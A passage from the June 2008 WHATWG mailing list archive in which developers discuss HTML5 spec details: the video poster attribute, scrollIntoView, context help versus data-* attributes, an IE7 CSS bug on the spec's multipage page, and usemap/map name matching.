> to platform.  I think the issue of performance is a complex one that will
> not benefit in the long term from a simple on off switch.  Conceivably we
> could introduce new rendering primitives, such as CanvasSprite, CanvasLayer,
> or some such which would, i suspect, provide a similar benefit, but be more
> resilient in the face of changing performance characteristics.
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080603/2375b261/attachment-0001.htm>

From jackalmage at gmail.com  Tue Jun  3 08:00:00 2008
From: jackalmage at gmail.com (Tab Atkins Jr.)
Date: Tue, 3 Jun 2008 10:00:00 -0500
Subject: [whatwg] Fwd:  Interpretation of video poster attribute
In-Reply-To: <dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
Message-ID: <dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>

On Tue, Jun 3, 2008 at 7:36 AM, Philip J?genstedt <philipj at opera.com> wrote:

> Hi!
>
> I'm a bit puzzled about how to interpret the poster attribute on
> HTMLVideoElement:
>
> "The poster attribute gives the address of an image file that the user
> agent can show while no video data is available. The attribute, if
> present, must contain a URI (or IRI)."
>
> Is the intention that this image should be stretched to the size of the
> video element, or that it should be centered in the frame? If the width
> and height attributes are not given, should the video element initially
> be given the size of the poster image, or should the user agent wait
> until it has the dimensions of the video (thereby making the poster
> useless)?
>
> In short, what is the intended use of poster?
>
> -- Philip J?genstedt
>

Just for similar-implementation-ideas, flvplayer simply aligns the poster
image to the upper-left of the object element, with no scaling at all.  If
width and height are not given, it simply doesn't display at all.

Unless there's already some alternate intent, I suggest <video> scale to the
poster's size if no explicit size is given.

~TJ
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080603/b1fcb832/attachment-0001.htm>

From giecrilj at stegny.2a.pl  Tue Jun  3 08:24:20 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Tue, 3 Jun 2008 17:24:20 +0200
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
	view
In-Reply-To: <Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com>
	<Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
Message-ID: <535F36B856B6437BBB6C35113AB61443@POCZTOWIEC>

Nothing in the document can be further down than the bottom.  If the
document scrolls past the bottom, it shows nothing under the bottom but the
bottom is in the middle of the window.  This is inevitable if the document
is short so that it can be displayed without scrolling (and without scroll
bars); it should be avoided if the document is longer than the window's
height.
Best regards,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
Sent: Tuesday, June 03, 2008 1:33 PM
To: Brad Fults
Cc: WHAT-WG
Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
view

On Mon, 8 Oct 2007, Brad Fults wrote:
>
> There are a couple of problems I have found in this section.
> 
> "If it isn't possible to show the entire element in that way, or if the 
> argument is omitted or is true, then the user agent must instead simply 
> align the top of the element with the top of the viewport." [1]
> 
>   2. It may not be possible to align the top of the element with the top 
> of the viewport without scrolling past the bottom of the document, so 
> the "must" is unreasonable. This contingency should be mentioned 
> (scrolling past the bottom of the document is not, as far as I know, 
> desired).

I don't understand what you mean. How can something in the document be 
further down than the bottom of the document?






From chaals at opera.com  Tue Jun  3 09:39:32 2008
From: chaals at opera.com (Charles McCathieNevile)
Date: Tue, 03 Jun 2008 13:39:32 -0300
Subject: [whatwg] Context help in Web Forms
In-Reply-To: <4843EA57.3070900@myrealbox.com>
References: <019701c56f81$0ba27e30$fe01a8c0@faottcan001>
	<42ACCFFA.20306@myrealbox.com>
	<Pine.LNX.4.62.0710310056140.15478@hixie.dreamhostps.com>
	<b83a9d8ebfd613109406191e8518a770@myrealbox.com>
	<Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
	<4843EA57.3070900@myrealbox.com>
Message-ID: <op.ub6lv6nzwxe0ny@widsith.local>

On Mon, 02 Jun 2008 09:40:55 -0300, Matthew Paul Thomas  
<mpt at myrealbox.com> wrote:

> Ian Hickson wrote on 27/05/08 07:47:
>>
>> On Mon, 12 Nov 2007, Matthew Paul Thomas wrote:
>>
>>> On Oct 30, 2007, at 6:01 PM, Ian Hickson wrote:
>>>>
>>>> On Mon, 13 Jun 2005, Matthew Thomas wrote:
>> ...
>>>>> Many applications provide inline help which is not a label, and the
>>>>> same attributes would be appropriate here: <div rel="help"
>>>>> for="phone-number"><p>The full number, including country code.</p>
>>>>> <p>Example: <samp>+61 3 1234 5678</samp></p></div>
>>>>
>>>> How would UAs use this?
>>>
>>> UAs likely wouldn't, but scripts could. For example, a form might
>>> include sparing help by default, with a style sheet hiding more
>>> exhaustive help (as indicated by rel="help"). Then a script could add a
>>> small help button after each control that has associated help (i.e.  
>>> each
>>> control with name="x" where there exists an element on the page with
>>> rel="help" for="x"). When a control's help button was clicked, the
>>> control's help would be shown.
>> ...
>> The data-* attributes are intended for scripts like this.
>> ...
>
> The disadvantage of using a data-* attribute is that more kinds of
> mistakes would be undetectable by a validator. It would have no idea
> that (a) the value of the attribute must be the ID of an element
> elsewhere in the document, and (b) each value must be unique within the
> document.

Indeed.

There is an attribute for this called contexthelp or something that JAWS  
implemented years ago, collaborating with the US Treasury or seomthing. I  
proposed it to the whatwg a couple of years ago but my recollection is  
that this was rejected as not useful or important or something. Certainly  
it seems mor sensible to go with existing implementation than to make up  
something incompatible, and it seems that using data-* means we will  
actually get several dozen different versions of this - using ARIA would  
be an approximately infinitely better alternative.

> I wonder if the data-* attribute naming scheme could be classified
> somehow to allow basic type checking like this. I expect there will be
> other cases where authors want an attribute value to match the ID of an
> element in the page.

Sounds like a semantic web project to me, infobot.

(Personally I think that would be useful, but at that point I'd switch to  
basing my work on XML anyway, where there are infrastructures for this  
kind of thing).

cheers

Chaals

-- 
Charles McCathieNevile  Opera Software, Standards Group
     je parle fran?ais -- hablo espa?ol -- jeg l?rer norsk
http://my.opera.com/chaals   Try Opera 9.5: http://snapshot.opera.com


From hsivonen at iki.fi  Tue Jun  3 11:51:39 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Tue, 3 Jun 2008 21:51:39 +0300
Subject: [whatwg] Context help in Web Forms
In-Reply-To: <4843EA57.3070900@myrealbox.com>
References: <019701c56f81$0ba27e30$fe01a8c0@faottcan001>
	<42ACCFFA.20306@myrealbox.com>
	<Pine.LNX.4.62.0710310056140.15478@hixie.dreamhostps.com>
	<b83a9d8ebfd613109406191e8518a770@myrealbox.com>
	<Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
	<4843EA57.3070900@myrealbox.com>
Message-ID: <87609C1C-5D3F-4EF6-A888-DF110740D645@iki.fi>

On Jun 2, 2008, at 15:40, Matthew Paul Thomas wrote:

> The disadvantage of using a data-* attribute is that more kinds of
> mistakes would be undetectable by a validator. It would have no idea
> that (a) the value of the attribute must be the ID of an element
> elsewhere in the document, and (b) each value must be unique within  
> the
> document.
>
> I wonder if the data-* attribute naming scheme could be classified
> somehow to allow basic type checking like this. I expect there will be
> other cases where authors want an attribute value to match the ID of  
> an
> element in the page.

I don't like the idea of trying to encode the datatypes of data-*  
attributes in a validator-sensitive way. What datatypes would a  
validator support for data-* attributes? The HTML5 datatype library  
used by Validator.nu already contains 41 datatypes, but people will  
likely want to have others. The whole point of data-* is to provide a  
place where a validator doesn't go without authors having to abuse  
e.g. title which is a freeform but exposed to humans.

The foreseeable problem with data-* is, of course, that microformat- 
like activity will happen there instead of going through the trouble  
of getting unprefixed validator-sensitive attributes minted with  
community review in the WHATWG and the HTML WG.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From annevk at opera.com  Tue Jun  3 15:00:54 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Wed, 04 Jun 2008 00:00:54 +0200
Subject: [whatwg] Context help in Web Forms
In-Reply-To: <87609C1C-5D3F-4EF6-A888-DF110740D645@iki.fi>
References: <019701c56f81$0ba27e30$fe01a8c0@faottcan001>
	<42ACCFFA.20306@myrealbox.com>
	<Pine.LNX.4.62.0710310056140.15478@hixie.dreamhostps.com>
	<b83a9d8ebfd613109406191e8518a770@myrealbox.com>
	<Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
	<4843EA57.3070900@myrealbox.com>
	<87609C1C-5D3F-4EF6-A888-DF110740D645@iki.fi>
Message-ID: <op.ub60rs1y64w2qv@annevk-t60.oslo.opera.com>

On Tue, 03 Jun 2008 20:51:39 +0200, Henri Sivonen <hsivonen at iki.fi> wrote:
> I don't like the idea of trying to encode the datatypes of data-*  
> attributes in a validator-sensitive way. What datatypes would a  
> validator support for data-* attributes? The HTML5 datatype library used  
> by Validator.nu already contains 41 datatypes, but people will likely  
> want to have others. The whole point of data-* is to provide a place  
> where a validator doesn't go without authors having to abuse e.g. title  
> which is a freeform but exposed to humans.

I agree.


> The foreseeable problem with data-* is, of course, that microformat-like  
> activity will happen there instead of going through the trouble of  
> getting unprefixed validator-sensitive attributes minted with community  
> review in the WHATWG and the HTML WG.

That'd be wrong as data-* does not allow implementation by UAs... Having  
said that, if we don't make it clear what the idea is that might end up  
happening in practice here and there.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From giecrilj at stegny.2a.pl  Wed Jun  4 03:25:28 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-2?Q?K=F8i=B9tof_=AEelechovski?=)
Date: Wed, 4 Jun 2008 12:25:28 +0200
Subject: [whatwg] Bad CSS on the multipage version
Message-ID: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>

Regarding your page at the URL
<http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
#the-embed>:
The following declaration is bad and wrong:
Is: "margin-top: -2.5em"
Should be: margin-top: -2.5ex"
Wrong: A horizontal unit is applied to a vertical measure
Bad: 
Element headings (level?4) are invisible 
(obscured underneath the following content).
Please fix ASAP.
Chris



From annevk at opera.com  Wed Jun  4 03:31:45 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Wed, 04 Jun 2008 12:31:45 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
Message-ID: <op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com>

On Wed, 04 Jun 2008 12:25:28 +0200, K?i?tof ?elechovski  
<giecrilj at stegny.2a.pl> wrote:
> Regarding your page at the URL
> <http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
> #the-embed>:
> The following declaration is bad and wrong:
> Is: "margin-top: -2.5em"
> Should be: margin-top: -2.5ex"
> Wrong: A horizontal unit is applied to a vertical measure
> Bad:
> Element headings (level?4) are invisible
> (obscured underneath the following content).
> Please fix ASAP.

I don't see that problem. Also, em is just a shorthand for the font-size  
of the current element (or parent element if you specify it on font-size),  
it's different from the traditional em unit in that respect.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From giecrilj at stegny.2a.pl  Wed Jun  4 03:39:31 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-2?Q?K=F8i=B9tof_=AEelechovski?=)
Date: Wed, 4 Jun 2008 12:39:31 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
	<op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <A66DAE3CB93B4B2A93B3FF7B9D76C1DD@POCZTOWIEC>

Well, whatever the EM stands for, 
the rule hides the headings from viewing in Internet Explorer, 
whereas the rule with EX makes them reappear.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Anne van Kesteren
Sent: Wednesday, June 04, 2008 12:32 PM
To: K?i?tof ?elechovski; whatwg at whatwg.org
Subject: Re: [whatwg] Bad CSS on the multipage version

On Wed, 04 Jun 2008 12:25:28 +0200, K?i?tof ?elechovski  
<giecrilj at stegny.2a.pl> wrote:
> Regarding your page at the URL
>
<http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
> #the-embed>:
> The following declaration is bad and wrong:
> Is: "margin-top: -2.5em"
> Should be: margin-top: -2.5ex"
> Wrong: A horizontal unit is applied to a vertical measure
> Bad:
> Element headings (level?4) are invisible
> (obscured underneath the following content).
> Please fix ASAP.

I don't see that problem. Also, em is just a shorthand for the font-size  
of the current element (or parent element if you specify it on font-size),  
it's different from the traditional em unit in that respect.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>



From annevk at opera.com  Wed Jun  4 03:45:38 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Wed, 04 Jun 2008 12:45:38 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <A66DAE3CB93B4B2A93B3FF7B9D76C1DD@POCZTOWIEC>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
	<op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com>
	<A66DAE3CB93B4B2A93B3FF7B9D76C1DD@POCZTOWIEC>
Message-ID: <op.ub7z6cp164w2qv@annevk-t60.oslo.opera.com>

On Wed, 04 Jun 2008 12:39:31 +0200, K?i?tof ?elechovski  
<giecrilj at stegny.2a.pl> wrote:
> Well, whatever the EM stands for,
> the rule hides the headings from viewing in Internet Explorer,
> whereas the rule with EX makes them reappear.

It sounds like a bug in your browser. Did you test other browsers with  
your suggested replacement rule? I'd expect that to not work.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From giecrilj at stegny.2a.pl  Wed Jun  4 03:58:55 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-2?Q?K=F8i=B9tof_=AEelechovski?=)
Date: Wed, 4 Jun 2008 12:58:55 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <op.ub7z6cp164w2qv@annevk-t60.oslo.opera.com>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC><op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com><A66DAE3CB93B4B2A93B3FF7B9D76C1DD@POCZTOWIEC>
	<op.ub7z6cp164w2qv@annevk-t60.oslo.opera.com>
Message-ID: <A859BF99B5C1467B851E9CBFE8615764@POCZTOWIEC>

Dear Anne:

I do not think you can accuse Microsoft of letting a bug in EM.  
Things like EM and EX are very GUI-dependent.

I do not have enough time and devotion to keep several browsers up to date.

(I admit I have Safari installed 
but I understand it should not be used until fixed 
according to the recent security advisory).

However, if you have another browser at hand, 
just save the source as an HTML document, 
replace the EM with EX and navigate to it.
It may show some unwanted vertical white space; 
even if it does, it is still better than IE not showing the heading at all.

Best regards,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Anne van Kesteren
Sent: Wednesday, June 04, 2008 12:46 PM
To: K?i?tof ?elechovski; whatwg at whatwg.org
Subject: Re: [whatwg] Bad CSS on the multipage version

On Wed, 04 Jun 2008 12:39:31 +0200, K?i?tof ?elechovski  
<giecrilj at stegny.2a.pl> wrote:
> Well, whatever the EM stands for,
> the rule hides the headings from viewing in Internet Explorer,
> whereas the rule with EX makes them reappear.

It sounds like a bug in your browser. Did you test other browsers with  
your suggested replacement rule? I'd expect that to not work.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>



From excors+whatwg at gmail.com  Wed Jun  4 06:43:42 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Wed, 4 Jun 2008 14:43:42 +0100
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
Message-ID: <ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>

On 04/06/2008, K?i?tof ?elechovski <giecrilj at stegny.2a.pl> wrote:
> Regarding your page at the URL
>  <http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
>  #the-embed>:
>  [...]
>  Element headings (level 4) are invisible
>  (obscured underneath the following content).

Seems to be an IE CSS bug like in
http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cstyle%3E%0D%0A%20.a%20%7B%20border%3A2px%20blue%20solid%20%7D%0D%0A%20.b%20%7B%20border%3A2px%20green%20solid%3B%20background%3Ayellow%3B%20margin-top%3A-0.8em%20%7D%0D%0A%3C%2Fstyle%3E%0D%0A%3Cdiv%20class%3Da%3EThis%20text%20should%20be%20visible%20on%20top%20of%20the%20yellow%0D%0A%20%3Cdiv%20class%3Db%3E...%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E

That case fails in IE7; it works in IE8 (and in recent versions of
Firefox, Opera, Safari, Konqueror).

I don't know if there's a 'proper' way to fix this, but adding
   h4 { position: relative; }
into the page's CSS makes it work correctly in IE7, and doesn't affect
any other browser.

-- 
Philip Taylor
excors at gmail.com

From jackalmage at gmail.com  Wed Jun  4 08:31:14 2008
From: jackalmage at gmail.com (Tab Atkins Jr.)
Date: Wed, 4 Jun 2008 10:31:14 -0500
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
	<ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>
Message-ID: <dd0fbad0806040831p3022bcbdqe28b1c46a683f96f@mail.gmail.com>

On Wed, Jun 4, 2008 at 8:43 AM, Philip Taylor
<excors+whatwg at gmail.com<excors%2Bwhatwg at gmail.com>>
wrote:

> On 04/06/2008, K?i?tof ?elechovski <giecrilj at stegny.2a.pl> wrote:
> > Regarding your page at the URL
> >  <
> http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
> >  #the-embed>:
> >  [...]
> >  Element headings (level 4) are invisible
> >  (obscured underneath the following content).
>
> Seems to be an IE CSS bug like in
>
> http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cstyle%3E%0D%0A%20.a%20%7B%20border%3A2px%20blue%20solid%20%7D%0D%0A%20.b%20%7B%20border%3A2px%20green%20solid%3B%20background%3Ayellow%3B%20margin-top%3A-0.8em%20%7D%0D%0A%3C%2Fstyle%3E%0D%0A%3Cdiv%20class%3Da%3EThis%20text%20should%20be%20visible%20on%20top%20of%20the%20yellow%0D%0A%20%3Cdiv%20class%3Db%3E...%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E<http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C%21DOCTYPE%20html%3E%0D%0A%3Cstyle%3E%0D%0A%20.a%20%7B%20border%3A2px%20blue%20solid%20%7D%0D%0A%20.b%20%7B%20border%3A2px%20green%20solid%3B%20background%3Ayellow%3B%20margin-top%3A-0.8em%20%7D%0D%0A%3C%2Fstyle%3E%0D%0A%3Cdiv%20class%3Da%3EThis%20text%20should%20be%20visible%20on%20top%20of%20the%20yellow%0D%0A%20%3Cdiv%20class%3Db%3E...%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E>
>
> That case fails in IE7; it works in IE8 (and in recent versions of
> Firefox, Opera, Safari, Konqueror).
>
> I don't know if there's a 'proper' way to fix this, but adding
>   h4 { position: relative; }
> into the page's CSS makes it work correctly in IE7, and doesn't affect
> any other browser.
>
> --
> Philip Taylor
> excors at gmail.com
>

If that fixes it, then it's almost certainly a hasLayout issue (that is, an
IE7 bug).  Position:relative is a hasLayout trigger in IE7.  Generally
speaking, an element's behavior when it has layout is the correct behavior
(or at least *more* correct).

~TJ
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080604/ae1cc72c/attachment-0001.htm>

From giecrilj at stegny.2a.pl  Wed Jun  4 08:52:22 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-2?Q?K=F8i=B9tof_=AEelechovski?=)
Date: Wed, 4 Jun 2008 17:52:22 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
	<ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>
Message-ID: <28D820FDDF284E1DAE04C6F09F8C1A5D@POCZTOWIEC>

Perhaps it is a bug; but I would not expect it to work anyway.  It does not
seem a good idea to draw the background from the next element by
manipulating the margin.  If you want to have a common background, either
wrap both elements with a div (which would work for background images) or
declare the same background on the first element (which would work for
background colors).
Chris

-----Original Message-----
From: excors at gmail.com [mailto:excors at gmail.com] On Behalf Of Philip Taylor
Sent: Wednesday, June 04, 2008 3:44 PM
To: K?i?tof ?elechovski
Cc: whatwg at whatwg.org
Subject: Re: [whatwg] Bad CSS on the multipage version

On 04/06/2008, K?i?tof ?elechovski <giecrilj at stegny.2a.pl> wrote:
> Regarding your page at the URL
>
<http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
>  #the-embed>:
>  [...]
>  Element headings (level 4) are invisible
>  (obscured underneath the following content).

Seems to be an IE CSS bug like in
http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E
%0D%0A%3Cstyle%3E%0D%0A%20.a%20%7B%20border%3A2px%20blue%20solid%20%7D%0D%0A
%20.b%20%7B%20border%3A2px%20green%20solid%3B%20background%3Ayellow%3B%20mar
gin-top%3A-0.8em%20%7D%0D%0A%3C%2Fstyle%3E%0D%0A%3Cdiv%20class%3Da%3EThis%20
text%20should%20be%20visible%20on%20top%20of%20the%20yellow%0D%0A%20%3Cdiv%2
0class%3Db%3E...%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E

That case fails in IE7; it works in IE8 (and in recent versions of
Firefox, Opera, Safari, Konqueror).

I don't know if there's a 'proper' way to fix this, but adding
   h4 { position: relative; }
into the page's CSS makes it work correctly in IE7, and doesn't affect
any other browser.

-- 
Philip Taylor
excors at gmail.com



From ian at hixie.ch  Thu Jun  5 02:27:47 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 5 Jun 2008 09:27:47 +0000 (UTC)
Subject: [whatwg] usemap="" and related issues
In-Reply-To: <46CA29B5.6080101@sicking.cc>
References: <op.tlq7qta564w2qv@id-c0020>
	<6b9c91b20701061647y7496258cyc73e82da837edce2@mail.gmail.com>
	<Pine.LNX.4.64.0708080557210.9521@dhalsim.dreamhost.com>
	<6b9c91b20708081121n1aebc059u65cd4754cd5f0af@mail.gmail.com>
	<op.twr91vqm7a8kvn@hp-a0a83fcd39d2> <46C72E3F.5020606@sicking.cc>
	<op.tw9073vw7a8kvn@hp-a0a83fcd39d2> <46C973D5.6020704@sicking.cc>
	<op.txcwqkfa64w2qv@annevk-t60.oslo.opera.com>
	<46CA29B5.6080101@sicking.cc>
Message-ID: <Pine.LNX.4.62.0806050049110.8559@hixie.dreamhostps.com>

On Wed, 15 Nov 2006, Shadow2531 wrote:
> 
> begin<map></map>end
> 
> In Opera and IE, you'll see beginend. In Firefox quirks mode, you'll see 
> the same. In Firefox standards mode, you'll see:
>
> begin
> end
> 
> The default style applied to the map element varies between browser and 
> rendering mode.
> 
> Someone once pointed out to me that even if the map element has a 
> content model of block, that doesn't mean it should have a default style 
> of block applied to it. That is a css issue though.
> 
> Anyway, yeh, if you put stuff inside map, it takes up space except for 
> <area> and <param> etc.

I'm not sure what to do about this. I guess maybe we should just make 
<map> 'display:inline' in the default CSS?


On Tue, 28 Nov 2006, Simon Pieters wrote:
> 
> Currently <map> only allows block-level elements, and <area> is 
> considered a strictly inline-level content (but only allowed as a 
> descendant of <map>).
> 
> HTML4 allowed either block-level elements or <area>s as children of 
> <map>, where the idea with block-level elements was to use a paragraph 
> or a list with <a> elements that acted as areas.
> 
> When authors switch from HTML4 to HTML5 they will find that the 
> conformance checker complains about lack of block-level elements in 
> <map> and then they will just insert a <div> or a <p> around all areas 
> and complain about the change.
> 
> Now <a> can't act as areas anymore in HTML5. But why are block-level 
> elements required? Is the intent that authors should place their <area>s 
> in paragraphs or lists? Why? Isn't it better to only allow <area>s as 
> children of <map>s, and then let UAs treat the <area>s as being a list 
> of links when used as fallback (as described in [1])?
>
> [1] http://www.hixie.ch/specs/html/usemap-alt

This is moot now right?


On Wed, 8 Aug 2007, Anne van Kesteren wrote:
> On Wed, 08 Aug 2007 07:54:33 +0200, Ian Hickson <ian at hixie.ch> wrote:
> > Should we drop it? My research indicates there's an insignificant 
> > number of pages with usemap="" attributes on <input type=image> 
> > elements (on the order of 0.008%).
> 
> The only usecase, while using <input> as control, seems to be to make 
> certain parts of the image not "clickable". Given that, it makes sense 
> to me to reduce the number of attributes browsers have to implement for 
> <input>...

Ok it's only on <img> and <object>.


On Wed, 8 Aug 2007, Michael A. Puls II wrote:
> 
> Just wan to be sure:
> 
> Even though id is required, name is allowed on <map>. Correct? (It 
> currently needs to be for Safari and Firefox in text/html or image maps 
> won't work (even on trunk versions)

I've changed the spec to require name="" instead of requiring id="", based 
on the collective feedback on this issue.


> So, it seems it might have to be case-sensitive for xhtml5 (since other 
> things are case-sensitive in xml)  and case-insensitive for html5. 
> (Unless there's no need to be case-sensitive for XHTML5. If so, then 
> Opera's way would be cool.)

I'm trying to minimise the differences, so I've left it as insensitive.


On Fri, 10 Aug 2007, Benjamin Hawkes-Lewis wrote:
> 
> Since HTML5 handles standard HTML, tag soup, and faux-XHTML (i.e. almost 
> all public web content), what is the benefit of introducing a backwards 
> incompatibility with the XHTML 1.x specifications for the 
> application/xhtml+xml serialization, in which any content (the "esoteric 
> cases" Hixie mentioned) correctly relying on case sensitivity would 
> break?

The only time this would break anything is if a page is using XML _and_ 
relying on two names different only in case to match differently. That's a 
pretty specific case and unless someone knows of a case that does this, 
I'm willing to risk breaking it to get the simplicity of fewer 
differences between the modes.


On Sat, 18 Aug 2007, Jonas Sicking wrote:
> 
> Since ID is case sensitive everywhere else, I don't see a reason to make 
> an exception from that rule here. That seems to unnecessarily complicate 
> implementation as well as introduce weird inconsistencies for authors.

It already is inconsistent for usemap="". At least for legacy Web content 
I don't think we can do much about it. At that point, I'd rather just 
extend that to XHTML than to keep another difference.


On Mon, 20 Aug 2007, Jonas Sicking wrote:
> 
> Why can't you keep ids case sensitive always for all those? Seems weird 
> from a user perspective that ids are case sensitive in all cases except 
> this one.

Well, they should be using name="" anyway, so it's not like they'll run 
into this much.


> In gecko we keep a hash for id->element which is case sensitive. This 
> hash is used for the implementation of getElementById, anchor scrolling, 
> and anything else that uses ids.
> 
> We also have a hash for name->element which is case insensitive, this 
> hash is used for things like form.elements.foo and document.foo and 
> anything else that uses names.
> 
> What you suggest is to add a third hash for id->element which would be 
> case insensitive and only used for <map>s.

I think a hash would be overkill for this, except for the rare case 
where there are a lot of <map>s.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From matt.bonner at hp.com  Thu Jun  5 11:58:53 2008
From: matt.bonner at hp.com (Bonner, Matt (IPG))
Date: Thu, 5 Jun 2008 18:58:53 +0000
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
 view
In-Reply-To: <Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com>
	<Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
Message-ID: <57221E38FB4DD54C946CE654959A554D05DCFB6C6E@GVW0436EXB.americas.hpqcorp.net>

Ian Hickson wrote:

> On Mon, 8 Oct 2007, Brad Fults wrote:
> >
> >   2. It may not be possible to align the top of the element 
> >      with the top of the viewport without scrolling past the 
> >      bottom of the document, so the "must" is unreasonable. 
> >      This contingency should be mentioned (scrolling past the
> >      bottom of the document is not, as far as I know, desired).
> 
> I don't understand what you mean. How can something in the document be
> further down than the bottom of the document?

I'm wondering if he was thinking about cases where the element is
shorter vertically than the viewport?  It might be worth clarifying
what happens in that case.  I assume the answer is "nothing"?

> > Secondly, with respect to this section as a whole, I see no description
> > of necessary behavior for horizontal scrolling. Surely this is an issue
> > that must be addressed, as it would be decidedly deficient if
> > scrollIntoView() only took vertical scrolling into account, leaving
> > horizontally overflown content still outside of the viewport after the
> > method's invocation.
> 
> Do UAs do any horizontal scrolling today? I've mentioned it, 
> but I'm not sure what to say really.

Well, it seems like you could offer instructions analagous to
the vertical case, substituting "left" and "right" for "top"
and "bottom", no?  That could imply a second argument to the
function...

Matt
--
Matt Bonner
Hewlett-Packard Company
 

> -----Original Message-----
> From: whatwg-bounces at lists.whatwg.org 
> [mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
> Sent: Tuesday, June 03, 2008 4:33 AM
> To: Brad Fults
> Cc: WHAT-WG
> Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling 
> elements into view
> 
> On Mon, 8 Oct 2007, Brad Fults wrote:
> >
